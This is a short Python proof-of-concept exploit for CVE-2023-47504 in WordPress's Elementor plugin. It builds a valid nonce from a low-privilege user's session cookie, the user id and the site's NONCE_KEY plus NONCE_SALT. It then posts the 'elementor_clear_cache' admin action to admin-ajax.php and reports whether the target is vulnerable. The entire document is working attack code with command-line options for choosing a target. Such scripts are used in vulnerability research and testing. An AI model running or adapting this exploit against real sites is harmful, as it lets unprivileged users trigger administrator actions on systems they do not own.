""" Author: Bors David (borsdavid@proton.me) """ from argparse import ArgumentParser, RawTextHelpFormatter import hmac import hashlib import time import math from urllib.parse import unquote, urljoin import requests def get_session_token(wp_cookie: str): value = wp_cookie.split("=")[1] return value.split("|")[2] def wp_hash(data: str, salt: str): return hmac.new(salt.encode(), data.encode(), hashlib.md5).hexdigest() def wp_nonce_tick() -> float: nonce_life = 86400 return math.ceil(time.time() / (nonce_life / 2)) def wp_create_nonce(action: str, uid: int, salt: str, token: str): """ action - name of the action to create the nonce for uid - user id -you can get it by intercepting a edit profile request salt - NONCE_KEY + NONCE_SALT from wp-config.php token - session token. The wordpress_logged_in_* cookie has the following format: user|timestamp|token|... """ i = wp_nonce_tick() data = f'{i}|{action}|{uid}|{token}' return wp_hash(data, salt)[-12:-2] def exploit(target_url: str, wordpress_cookie: str, uid: int, salt: str): token = get_session_token(wordpress_cookie) nonce = wp_create_nonce("elementor_clear_cache", uid, salt, token) res = requests.post( urljoin(target_url, "wp-admin/admin-ajax.php"), cookies={wordpress_cookie.split('=')[0]: wordpress_cookie.split('=')[1]}, data={"action":"elementor_clear_cache", "_nonce":nonce} ) if res.status_code != 200 or not res.text: return False if '"success":true' not in res.text: return False return True def get_parser(): parser = ArgumentParser(formatter_class=RawTextHelpFormatter) parser.add_argument("--target", required=True, help="Url to the target. ex: https://example.com") parser.add_argument("--wordpress-cookie", required=True, help="Wordpress cookie value for low priv account. ex. wordpress_logged_in_*=*") parser.add_argument("--uid", required=True, help="User id of low priv account.") parser.add_argument("--salt", required=True, help="NONCE_KEY + NONCE_SALT from wp-config.php") return parser if __name__ == "__main__": args = get_parser().parse_args() if not exploit(args.target, unquote(args.wordpress_cookie), args.uid, args.salt): print("Target is not vulnerable to CVE-2023-47504!") exit(0) print("Target is vulnerable to CVE-2023-47504!")